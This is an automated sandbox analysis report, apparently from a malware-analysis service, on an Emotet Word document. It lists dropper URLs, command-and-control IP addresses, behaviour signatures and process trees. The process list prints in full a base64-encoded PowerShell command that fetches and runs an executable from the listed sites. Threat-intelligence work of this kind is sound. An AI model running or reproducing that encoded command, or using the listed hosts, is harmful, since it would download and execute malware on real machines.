Analysis

  • max time kernel
    135s
  • max time network
    146s
  • platform
    windows10_x64
  • resource
    win10v200722
  • submitted
    10/08/2020, 15:02

General

  • Target
    REP_FB9700111348EB.doc
  • Size 229KB
  • Sample200810-bc9dghtees
  • SHA256 ba8a55e6d45475b84108295af3222045dbda0e098d4525c9b63f2dd93f6f2d8d
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Extracted

Language
  • ps1

Source
URLs
  • exe.dropper

    http://andreortega.com/erros/nt_ozq2y_k6s88xxcau/

  • exe.dropper

    http://tony.blvrdev.com/admin/mt2f7_7pd0u_1bhbba/

  • exe.dropper

    http://zerohungerapp.com/kzbst/p_3_lqo8eaj/

  • exe.dropper

    http://tool.myportalx.com/cgi-bin/b_1_b5ce/

  • exe.dropper

    http://illhaqsteeleng.com/ghp3wu/27yja_wwgc8_570/

Extracted

Family
  • emotet

C2
  • 74.120.55.163:80

  • 176.10.250.88:8080

  • 96.8.113.4:8080

  • 137.59.187.107:8080

  • 74.208.45.104:8080

  • 104.131.11.150:443

  • 110.145.77.103:80

  • 87.106.136.232:8080

  • 114.146.222.200:80

  • 37.187.72.193:8080

  • 181.230.116.163:80

  • 70.167.215.250:8080

  • 103.86.49.11:8080

  • 201.173.217.124:443

  • 109.74.5.95:8080

  • 95.213.236.64:8080

  • 5.39.91.110:7080

  • 78.24.219.147:8080

  • 81.2.235.111:8080

  • 183.101.175.193:80

rsa_pubkey.plain

Signatures

  • Executes dropped EXE 2 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs
  • Drops file in System32 directory 1 IoCs
  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious use of SetWindowsHookEx 13 IoCs
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Suspicious behavior: EnumeratesProcesses 9 IoCs
  • Blacklisted process makes network request 3 IoCs
  • Emotet Payload 4 IoCs

    Detects Emotet payload in memory.

  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\REP_FB9700111348EB.doc" /o ""
    1⤵
    • Enumerates system info in registry
    • Suspicious use of SetWindowsHookEx
    • Checks processor information in registry
    • Suspicious behavior: AddClipboardFormatListener
    PID:916
  • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
    powersheLL -e JABOAFkAUABLAFYAZQBrAHUAPQAnAEUASwBWAEcARQBlAG0AcwAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBzAGAARQBjAHUAYABSAGkAdABZAFAAYABSAG8AdABvAGAAQwBPAGwAIgAgAD0AIAAnAHQAbABzADEAMgAsACAAdABsAHMAMQAxACwAIAB0AGwAcwAnADsAJABQAEIATwBIAEsAbQBnAHIAIAA9ACAAJwAzADEANgAnADsAJABVAFQAQQBEAEkAbABwAG0APQAnAEQASQBIAFkARgBrAGgAegAnADsAJABKAEEAVABGAFYAdQBkAGkAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAFAAQgBPAEgASwBtAGcAcgArACcALgBlAHgAZQAnADsAJABZAEUATwBVAEIAagB6AHkAPQAnAEoAWABLAFYAUgBkAGQAeAAnADsAJABPAFMAUQBBAEMAbwBiAGkAPQAmACgAJwBuAGUAJwArACcAdwAtAG8AYgBqACcAKwAnAGUAYwB0ACcAKQAgAE4ARQB0AC4AdwBFAGIAYwBsAEkARQBuAHQAOwAkAFoATwBWAEgAUgBpAGYAbwA9ACcAaAB0AHQAcAA6AC8ALwBhAG4AZAByAGUAbwByAHQAZQBnAGEALgBjAG8AbQAvAGUAcgByAG8AcwAvAG4AdABfAG8AegBxADIAeQBfAGsANgBzADgAOAB4AHgAYwBhAHUALwAqAGgAdAB0AHAAOgAvAC8AdABvAG4AeQAuAGIAbAB2AHIAZABlAHYALgBjAG8AbQAvAGEAZABtAGkAbgAvAG0AdAAyAGYANwBfADcAcABkADAAdQBfADEAYgBoAGIAYgBhAC8AKgBoAHQAdABwADoALwAvAHoAZQByAG8AaAB1AG4AZwBlAHIAYQBwAHAALgBjAG8AbQAvAGsAegBiAHMAdAAvAHAAXwAzAF8AbABxAG8AOABlAGEAagAvACoAaAB0AHQAcAA6AC8ALwB0AG8AbwBsAC4AbQB5AHAAbwByAHQAYQBsAHgALgBjAG8AbQAvAGMAZwBpAC0AYgBpAG4ALwBiAF8AMQBfAGIANQBjAGUALwAqAGgAdAB0AHAAOgAvAC8AaQBsAGwAaABhAHEAcwB0AGUAZQBsAGUAbgBnAC4AYwBvAG0ALwBnAGgAcAAzAHcAdQAvADIANwB5AGoAYQBfAHcAdwBnAGMAOABfADUANwAwAC8AJwAuACIAUwBwAGwAYABJAFQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABNAFYASABZAEYAcgB1AHEAPQAnAFgATABQAFcAVwBmAGEAdAAnADsAZgBvAHIAZQBhAGMAaAAoACQATABTAFQARQBYAGoAdgB5ACAAaQBuACAAJABaAE8AVgBIAFIAaQBmAG8AKQB7AHQAcgB5AHsAJABPAFMAUQBBAEMAbwBiAGkALgAiAEQAYABvAHcATgBgAEwAYABPAGEARABGAGkATABlACIAKAAkAEwAUwBUAEUAWABqAHYAeQAsACAAJABKAEEAVABGAFYAdQBkAGkAKQA7ACQATgBaAFIAUgBFAGoAawBnAD0AJwBGAEgAUgBEAFUAaQBlAHYAJwA7AEkAZgAgACgAKAAmACgAJwBHAGUAdAAnACsAJwAtAEkAdABlACcAKwAnAG0AJwApACAAJABKAEEAVABGAFYAdQBkAGkAKQAuACIATABlAGAATgBHAHQAaAAiACAALQBnAGUAIAAyADMAMQA4ADcAKQAgAHsAKABbAHcAbQBpAGMAbABhAHMAcwBdACcAdwBpAG4AMwAyAF8AUAByAG8AYwBlAHMAcwAnACkALgAiAGMAUgBlAGEAYABUAEUAIgAoACQASgBBAFQARgBWAHUAZABpACkAOwAkAFoAWgBYAEEASwBoAGIAbQA9ACcATQBBAEYAVgBYAGEAcQB5ACcAOwBiAHIAZQBhAGsAOwAkAFUAUQBYAE8AWQBjAG8AaQA9ACcAVQBSAEgAUwBCAGEAdgB1ACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFEAWQBIAEsAQwB3AHkAdQA9ACcAQQBNAFQAQwBEAGoAcABhACcA
    1⤵
    • Process spawned unexpected child process
    • Suspicious behavior: EnumeratesProcesses
    • Blacklisted process makes network request
    • Suspicious use of AdjustPrivilegeToken
    PID:2324
  • C:\Users\Admin\316.exe
    C:\Users\Admin\316.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of WriteProcessMemory
    • Drops file in System32 directory
    • Suspicious use of SetWindowsHookEx
    PID:3512
    • C:\Windows\SysWOW64\srclient\Windows.Media.Playback.ProxyStub.exe
      "C:\Windows\SysWOW64\srclient\Windows.Media.Playback.ProxyStub.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of SetWindowsHookEx
      • Suspicious behavior: EnumeratesProcesses
      PID:3736

Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

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        Downloads

        memory/916-1-0x000001F4B3BD7000-0x000001F4B3BDF000-memory.dmp

        memory/916-2-0x000001F4B588B000-0x000001F4B589C000-memory.dmp

        memory/916-3-0x000001F4B588B000-0x000001F4B589C000-memory.dmp

        memory/916-4-0x000001F4B588B000-0x000001F4B589C000-memory.dmp

        memory/916-5-0x000001F4B588B000-0x000001F4B589C000-memory.dmp

        memory/916-0-0x00007FF916C60000-0x00007FF917326000-memory.dmp

        memory/2324-8-0x0000017D6DC40000-0x0000017D6DC41000-memory.dmp

        memory/2324-7-0x0000017D6DA30000-0x0000017D6DA31000-memory.dmp

        memory/2324-6-0x00007FF90F1C0000-0x00007FF90FBAC000-memory.dmp

        memory/3512-11-0x0000000000637000-0x000000000063C000-memory.dmp

        memory/3512-12-0x0000000002230000-0x000000000223C000-memory.dmp

        memory/3736-15-0x0000000000687000-0x000000000068C000-memory.dmp

        memory/3736-16-0x00000000005D0000-0x00000000005DC000-memory.dmp